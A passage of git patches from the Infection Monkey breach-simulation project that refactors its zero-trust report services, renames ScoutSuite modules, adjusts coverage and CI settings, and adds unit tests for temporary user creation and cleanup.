similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py new file mode 100644 index 000000000..4dce7ed2b --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py @@ -0,0 +1,35 @@ +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + cloudformation_rule_path_creator import CloudformationRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + cloudtrail_rule_path_creator import CloudTrailRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + cloudwatch_rule_path_creator import CloudWatchRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + config_rule_path_creator import ConfigRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + ec2_rule_path_creator import EC2RulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + elb_rule_path_creator import ELBRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + elbv2_rule_path_creator import ELBv2RulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + iam_rule_path_creator import IAMRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + rds_rule_path_creator import RDSRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + redshift_rule_path_creator import RedshiftRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + s3_rule_path_creator import S3RulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + ses_rule_path_creator import SESRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ + sns_rule_path_creator import SNSRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators. \ + sqs_rule_path_creator import SQSRulePathCreator +from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators. \ + vpc_rule_path_creator import VPCRulePathCreator + +RULE_PATH_CREATORS_LIST = [EC2RulePathCreator, ELBv2RulePathCreator, RDSRulePathCreator, RedshiftRulePathCreator, + S3RulePathCreator, IAMRulePathCreator, CloudTrailRulePathCreator, ELBRulePathCreator, + VPCRulePathCreator, CloudWatchRulePathCreator, SQSRulePathCreator, SNSRulePathCreator, + SESRulePathCreator, ConfigRulePathCreator, CloudformationRulePathCreator] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/scoutsuite_auth_service.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py similarity index 92% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/scoutsuite_rule_service.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py index 77d9c52f2..3b76194af 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/scoutsuite_rule_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py @@ -1,5 +1,5 @@ from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite_findings.consts import rule_consts +from monkey_island.cc.services.zero_trust.scoutsuite.consts import rule_consts class ScoutSuiteRuleService: diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py similarity index 93% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/scoutsuite_zt_finding_service.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py index a75dc838c..dd467741a 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/scoutsuite_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py @@ -4,8 +4,8 @@ from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite_findings.consts.findings import ScoutSuiteFinding -from monkey_island.cc.services.zero_trust.scoutsuite_findings.scoutsuite_rule_service import ScoutSuiteRuleService +from monkey_island.cc.services.zero_trust.scoutsuite.consts.findings import ScoutSuiteFinding +from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService class ScoutSuiteZTFindingService: diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators_list.py deleted file mode 100644 index b69aa985b..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_path_building/rule_path_creators_list.py +++ /dev/null @@ -1,35 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ - cloudformation_rule_path_creator import CloudformationRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ - cloudtrail_rule_path_creator import CloudTrailRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ - cloudwatch_rule_path_creator import CloudWatchRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ - config_rule_path_creator import ConfigRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ - ec2_rule_path_creator import EC2RulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ - elb_rule_path_creator import ELBRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ - elbv2_rule_path_creator import ELBv2RulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ - iam_rule_path_creator import IAMRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ - rds_rule_path_creator import RDSRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ - redshift_rule_path_creator import RedshiftRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ - s3_rule_path_creator import S3RulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ - ses_rule_path_creator import SESRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators.\ - sns_rule_path_creator import SNSRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators. \ - sqs_rule_path_creator import SQSRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators. \ - vpc_rule_path_creator import VPCRulePathCreator - -RULE_PATH_CREATORS_LIST = [EC2RulePathCreator, ELBv2RulePathCreator, RDSRulePathCreator, RedshiftRulePathCreator, - S3RulePathCreator, IAMRulePathCreator, CloudTrailRulePathCreator, ELBRulePathCreator, - VPCRulePathCreator, CloudWatchRulePathCreator, SQSRulePathCreator, SNSRulePathCreator, - SESRulePathCreator, ConfigRulePathCreator, CloudformationRulePathCreator] From d008e3d52a22f76f7ab36490a609524c6bfcdba2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 17 Jan 2021 19:15:07 -0500 Subject: [PATCH 129/466] ci: add .coveragerc to omit unit test code from coverage report The code coverage report was including the unit tests themselves in the coverage report. This resulted in an artifically inflated code coverage metric, as code coverage tools will naturally report test code to be very highly "covered". --- monkey/.coveragerc | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 monkey/.coveragerc diff --git a/monkey/.coveragerc b/monkey/.coveragerc new file mode 100644 index 000000000..722e8d71a --- /dev/null +++ b/monkey/.coveragerc @@ -0,0 +1,4 @@ +[run] +omit = + */test_*.py + */*_test.py From e69c94ae508778727a7760f0b2496fe3185a23e3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 18 Jan 2021 12:01:33 +0200 Subject: [PATCH 130/466] Split and moved zero trust service into pillar_service.py and principle_service.py --- .../resources/zero_trust/zero_trust_report.py | 13 ++-- .../__init__.py | 0 .../finding_service.py | 0 .../zero_trust_report/pillar_service.py | 69 ++++++++++++++++++ .../principle_service.py} | 71 ++----------------- .../test_zero_trust_service.py | 0 6 files changed, 80 insertions(+), 73 deletions(-) rename monkey/monkey_island/cc/services/zero_trust/{report_data => zero_trust_report}/__init__.py (100%) rename monkey/monkey_island/cc/services/zero_trust/{report_data => zero_trust_report}/finding_service.py (100%) create mode 100644 monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py rename monkey/monkey_island/cc/services/zero_trust/{zero_trust_service.py => zero_trust_report/principle_service.py} (50%) rename monkey/monkey_island/cc/services/zero_trust/{report_data => zero_trust_report}/test_zero_trust_service.py (100%) diff --git a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py index 984b415cd..0f9feab76 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py +++ b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py @@ -5,8 +5,9 @@ from flask import Response, jsonify from monkey_island.cc.models.zero_trust.scoutsuite_data_json import ScoutSuiteDataJson from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.zero_trust.report_data.finding_service import FindingService -from monkey_island.cc.services.zero_trust.zero_trust_service import ZeroTrustService +from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import FindingService +from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService +from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import PrincipleService REPORT_DATA_PILLARS = "pillars" REPORT_DATA_FINDINGS = "findings" @@ -20,12 +21,12 @@ class ZeroTrustReport(flask_restful.Resource): def get(self, report_data=None): if report_data == REPORT_DATA_PILLARS: return jsonify({ - "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(), - "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(), - "grades": ZeroTrustService.get_pillars_grades() + "statusesToPillars": PillarService.get_statuses_to_pillars(), + "pillarsToStatuses": PillarService.get_pillars_to_statuses(), + "grades": PillarService.get_pillars_grades() }) elif report_data == REPORT_DATA_PRINCIPLES_STATUS: - return jsonify(ZeroTrustService.get_principles_status()) + return jsonify(PrincipleService.get_principles_status()) elif report_data == REPORT_DATA_FINDINGS: return jsonify(FindingService.get_all_findings()) elif report_data == REPORT_DATA_SCOUTSUITE: diff --git a/monkey/monkey_island/cc/services/zero_trust/report_data/__init__.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/__init__.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/report_data/__init__.py rename to monkey/monkey_island/cc/services/zero_trust/zero_trust_report/__init__.py diff --git a/monkey/monkey_island/cc/services/zero_trust/report_data/finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/report_data/finding_service.py rename to monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py new file mode 100644 index 000000000..67fccff8f --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/pillar_service.py @@ -0,0 +1,69 @@ +import common.common_consts.zero_trust_consts as zero_trust_consts +from monkey_island.cc.models.zero_trust.finding import Finding + + +class PillarService: + + @staticmethod + def get_pillars_grades(): + pillars_grades = [] + all_findings = Finding.objects() + for pillar in zero_trust_consts.PILLARS: + pillars_grades.append(PillarService.__get_pillar_grade(pillar, all_findings)) + return pillars_grades + + @staticmethod + def __get_pillar_grade(pillar, all_findings): + pillar_grade = { + "pillar": pillar, + zero_trust_consts.STATUS_FAILED: 0, + zero_trust_consts.STATUS_VERIFY: 0, + zero_trust_consts.STATUS_PASSED: 0, + zero_trust_consts.STATUS_UNEXECUTED: 0 + } + + tests_of_this_pillar = zero_trust_consts.PILLARS_TO_TESTS[pillar] + + test_unexecuted = {} + for test in tests_of_this_pillar: + test_unexecuted[test] = True + + for finding in all_findings: + test_unexecuted[finding.test] = False + test_info = zero_trust_consts.TESTS_MAP[finding.test] + if pillar in test_info[zero_trust_consts.PILLARS_KEY]: + pillar_grade[finding.status] += 1 + + pillar_grade[zero_trust_consts.STATUS_UNEXECUTED] = list(test_unexecuted.values()).count(True) + + return pillar_grade + + @staticmethod + def get_statuses_to_pillars(): + results = { + zero_trust_consts.STATUS_FAILED: [], + zero_trust_consts.STATUS_VERIFY: [], + zero_trust_consts.STATUS_PASSED: [], + zero_trust_consts.STATUS_UNEXECUTED: [] + } + for pillar in zero_trust_consts.PILLARS: + results[PillarService.__get_status_of_single_pillar(pillar)].append(pillar) + + return results + + @staticmethod + def get_pillars_to_statuses(): + results = {} + for pillar in zero_trust_consts.PILLARS: + results[pillar] = PillarService.__get_status_of_single_pillar(pillar) + + return results + + @staticmethod + def __get_status_of_single_pillar(pillar): + all_findings = Finding.objects() + grade = PillarService.__get_pillar_grade(pillar, all_findings) + for status in zero_trust_consts.ORDERED_TEST_STATUSES: + if grade[status] > 0: + return status + return zero_trust_consts.STATUS_UNEXECUTED diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py similarity index 50% rename from monkey/monkey_island/cc/services/zero_trust/zero_trust_service.py rename to monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py index 09b09689b..006cb053e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/principle_service.py @@ -2,40 +2,7 @@ import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding -class ZeroTrustService: - @staticmethod - def get_pillars_grades(): - pillars_grades = [] - all_findings = Finding.objects() - for pillar in zero_trust_consts.PILLARS: - pillars_grades.append(ZeroTrustService.__get_pillar_grade(pillar, all_findings)) - return pillars_grades - - @staticmethod - def __get_pillar_grade(pillar, all_findings): - pillar_grade = { - "pillar": pillar, - zero_trust_consts.STATUS_FAILED: 0, - zero_trust_consts.STATUS_VERIFY: 0, - zero_trust_consts.STATUS_PASSED: 0, - zero_trust_consts.STATUS_UNEXECUTED: 0 - } - - tests_of_this_pillar = zero_trust_consts.PILLARS_TO_TESTS[pillar] - - test_unexecuted = {} - for test in tests_of_this_pillar: - test_unexecuted[test] = True - - for finding in all_findings: - test_unexecuted[finding.test] = False - test_info = zero_trust_consts.TESTS_MAP[finding.test] - if pillar in test_info[zero_trust_consts.PILLARS_KEY]: - pillar_grade[finding.status] += 1 - - pillar_grade[zero_trust_consts.STATUS_UNEXECUTED] = list(test_unexecuted.values()).count(True) - - return pillar_grade +class PrincipleService: @staticmethod def get_principles_status(): @@ -50,8 +17,8 @@ class ZeroTrustService: all_principles_statuses[pillar].append( { "principle": zero_trust_consts.PRINCIPLES[principle], - "tests": ZeroTrustService.__get_tests_status(principle_tests), - "status": ZeroTrustService.__get_principle_status(principle_tests) + "tests": PrincipleService.__get_tests_status(principle_tests), + "status": PrincipleService.__get_principle_status(principle_tests) } ) @@ -79,7 +46,7 @@ class ZeroTrustService: results.append( { "test": zero_trust_consts.TESTS_MAP[test][zero_trust_consts.TEST_EXPLANATION_KEY], - "status": ZeroTrustService.__get_lcd_worst_status_for_test(test_findings) + "status": PrincipleService.__get_lcd_worst_status_for_test(test_findings) } ) return results @@ -98,33 +65,3 @@ class ZeroTrustService: current_worst_status = finding.status return current_worst_status - - @staticmethod - def get_statuses_to_pillars(): - results = { - zero_trust_consts.STATUS_FAILED: [], - zero_trust_consts.STATUS_VERIFY: [], - zero_trust_consts.STATUS_PASSED: [], - zero_trust_consts.STATUS_UNEXECUTED: [] - } - for pillar in zero_trust_consts.PILLARS: - results[ZeroTrustService.__get_status_of_single_pillar(pillar)].append(pillar) - - return results - - @staticmethod - def get_pillars_to_statuses(): - results = {} - for pillar in zero_trust_consts.PILLARS: - results[pillar] = ZeroTrustService.__get_status_of_single_pillar(pillar) - - return results - - @staticmethod - def __get_status_of_single_pillar(pillar): - all_findings = Finding.objects() - grade = ZeroTrustService.__get_pillar_grade(pillar, all_findings) - for status in zero_trust_consts.ORDERED_TEST_STATUSES: - if grade[status] > 0: - return status - return zero_trust_consts.STATUS_UNEXECUTED diff --git a/monkey/monkey_island/cc/services/zero_trust/report_data/test_zero_trust_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_zero_trust_service.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/report_data/test_zero_trust_service.py rename to monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_zero_trust_service.py From 5481baf3877a2f92385cf928fe533704c8a31a24 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 18 Jan 2021 12:49:01 -0500 Subject: [PATCH 131/466] add unit tests for auto_new_user_factory --- .../utils/test_auto_new_user_factory.py | 34 +++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 monkey/infection_monkey/utils/test_auto_new_user_factory.py diff --git a/monkey/infection_monkey/utils/test_auto_new_user_factory.py b/monkey/infection_monkey/utils/test_auto_new_user_factory.py new file mode 100644 index 000000000..f57bea4bd --- /dev/null +++ b/monkey/infection_monkey/utils/test_auto_new_user_factory.py @@ -0,0 +1,34 @@ +import pytest + +import infection_monkey.utils.auto_new_user_factory as new_user_factory + + +class NewUserStub: + def __init__(self, username, password): + pass + + +class NewWindowsUserStub(NewUserStub): + pass + + +class NewLinuxUserStub(NewUserStub): + pass + + +@pytest.fixture +def patch_new_user_classes(monkeypatch): + monkeypatch.setattr(new_user_factory, "AutoNewWindowsUser", NewWindowsUserStub) + monkeypatch.setattr(new_user_factory, "AutoNewLinuxUser", NewLinuxUserStub) + + +def test_create_auto_new_user_windows_user(patch_new_user_classes): + new_user = new_user_factory.create_auto_new_user("user", "password", True) + + assert isinstance(new_user, NewWindowsUserStub) + + +def test_create_auto_new_user_linux_user(patch_new_user_classes): + new_user = new_user_factory.create_auto_new_user("user", "password", False) + + assert isinstance(new_user, NewLinuxUserStub) From 3dafdc810b614d23ec7eea2f5cb375eb8b839ddf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 18 Jan 2021 13:11:23 -0500 Subject: [PATCH 132/466] add unit tests for AutoNewLinuxUser --- .../utils/linux/test_users.py | 31 +++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 monkey/infection_monkey/utils/linux/test_users.py diff --git a/monkey/infection_monkey/utils/linux/test_users.py b/monkey/infection_monkey/utils/linux/test_users.py new file mode 100644 index 000000000..67a3a35d4 --- /dev/null +++ b/monkey/infection_monkey/utils/linux/test_users.py @@ -0,0 +1,31 @@ +import subprocess + +import pytest + +from infection_monkey.utils.linux.users import AutoNewLinuxUser + +TEST_USER = "test_user" + + +@pytest.fixture +def subprocess_check_output_spy(monkeypatch): + def mock_check_output(command, stderr, shell): + mock_check_output.command = command + + mock_check_output.command = "" + + monkeypatch.setattr(subprocess, "check_output", mock_check_output) + + return mock_check_output + + +def test_new_user_expires(subprocess_check_output_spy): + with (AutoNewLinuxUser(TEST_USER, "password")): + assert "--expiredate" in subprocess_check_output_spy.command + assert "--inactive 0" in subprocess_check_output_spy.command + + +def test_new_user_try_delete(subprocess_check_output_spy): + with (AutoNewLinuxUser(TEST_USER, "password")): + pass + assert f"deluser {TEST_USER}" in subprocess_check_output_spy.command From d4dc42adb55f32b74ee2ec27ddbee9d8a94945b4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 19 Jan 2021 15:51:18 +0200 Subject: [PATCH 133/466] Removed the need to change server_config.json just to run tests. --- .travis.yml | 6 ----- .../cc/environment/environment_singleton.py | 4 +--- .../cc/environment/set_server_config.py | 2 +- monkey/monkey_island/cc/models/__init__.py | 11 +++------ monkey/monkey_island/cc/models/test_monkey.py | 21 ---------------- .../cc/models/zero_trust/test_event.py | 3 --- .../cc/models/zero_trust/test_finding.py | 7 ------ .../cc/services/edge/test_displayed_edge.py | 1 - .../cc/services/edge/test_edge.py | 3 --- .../cc/services/reporting/test_pth_report.py | 6 ----- .../test_environment.py | 3 --- .../test_system_info_telemetry_dispatcher.py | 3 --- .../zero_trust_checks/test_segmentation.py | 3 --- .../cc/testing/IslandTestCase.py | 24 ++++++++++++++++--- 14 files changed, 26 insertions(+), 71 deletions(-) diff --git a/.travis.yml b/.travis.yml index 5d638de04..8c32482f7 100644 --- a/.travis.yml +++ b/.travis.yml @@ -53,12 +53,6 @@ install: # print hugo version (useful for debugging documentation build errors) - hugo version -before_script: -# Set the server config to `testing`. This is required for for the UTs to pass. -- pushd /home/travis/build/guardicore/monkey/monkey -- python monkey_island/cc/environment/set_server_config.py testing -- popd - script: # Check Python code ## Check syntax errors and fail the build if any are found. diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index 121c7001d..6b98d0b7c 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -10,13 +10,11 @@ logger = logging.getLogger(__name__) AWS = 'aws' STANDARD = 'standard' PASSWORD = 'password' -TESTING = 'testing' ENV_DICT = { STANDARD: standard.StandardEnvironment, AWS: aws.AwsEnvironment, - PASSWORD: password.PasswordEnvironment, - TESTING: testing.TestingEnvironment + PASSWORD: password.PasswordEnvironment } env = None diff --git a/monkey/monkey_island/cc/environment/set_server_config.py b/monkey/monkey_island/cc/environment/set_server_config.py index d31dd6916..9d7c036b2 100644 --- a/monkey/monkey_island/cc/environment/set_server_config.py +++ b/monkey/monkey_island/cc/environment/set_server_config.py @@ -42,7 +42,7 @@ def main(): def parse_args(): parser = argparse.ArgumentParser() - parser.add_argument("server_config", choices=["standard", "testing", "password"]) + parser.add_argument("server_config", choices=["standard", "password"]) args = parser.parse_args() return args diff --git a/monkey/monkey_island/cc/models/__init__.py b/monkey/monkey_island/cc/models/__init__.py index 9d0114b78..87626c448 100644 --- a/monkey/monkey_island/cc/models/__init__.py +++ b/monkey/monkey_island/cc/models/__init__.py @@ -10,11 +10,6 @@ from .monkey import Monkey # noqa: F401 from .monkey_ttl import MonkeyTtl # noqa: F401 from .pba_results import PbaResults # noqa: F401 -# This section sets up the DB connection according to the environment. -# If testing, use mongomock which only emulates mongo. for more information, see -# http://docs.mongoengine.org/guide/mongomock.html . -# Otherwise, use an actual mongod instance with connection parameters supplied by env. -if env_singleton.env.testing: # See monkey_island.cc.environment.testing - connect('mongoenginetest', host='mongomock://localhost') -else: - connect(db=env_singleton.env.mongo_db_name, host=env_singleton.env.mongo_db_host, port=env_singleton.env.mongo_db_port) +connect(db=env_singleton.env.mongo_db_name, + host=env_singleton.env.mongo_db_host, + port=env_singleton.env.mongo_db_port) diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py index b2bba9aa0..5acf8220f 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -22,9 +22,6 @@ class TestMonkey(IslandTestCase): """ def test_is_dead(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - # Arrange alive_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30) alive_monkey_ttl.save() @@ -52,9 +49,6 @@ class TestMonkey(IslandTestCase): self.assertFalse(alive_monkey.is_dead()) def test_ttl_renewal(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - # Arrange monkey = Monkey(guid=str(uuid.uuid4())) monkey.save() @@ -65,9 +59,6 @@ class TestMonkey(IslandTestCase): self.assertIsNotNone(monkey.ttl_ref) def test_get_single_monkey_by_id(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - # Arrange a_monkey = Monkey(guid=str(uuid.uuid4())) a_monkey.save() @@ -81,9 +72,6 @@ class TestMonkey(IslandTestCase): _ = Monkey.get_single_monkey_by_id("abcdefabcdefabcdefabcdef") def test_get_os(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - linux_monkey = Monkey(guid=str(uuid.uuid4()), description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu") windows_monkey = Monkey(guid=str(uuid.uuid4()), @@ -99,9 +87,6 @@ class TestMonkey(IslandTestCase): self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "unknown"])) def test_get_tunneled_monkeys(self): - self.fail_if_not_testing_env() - self.clean_monkey_db() - linux_monkey = 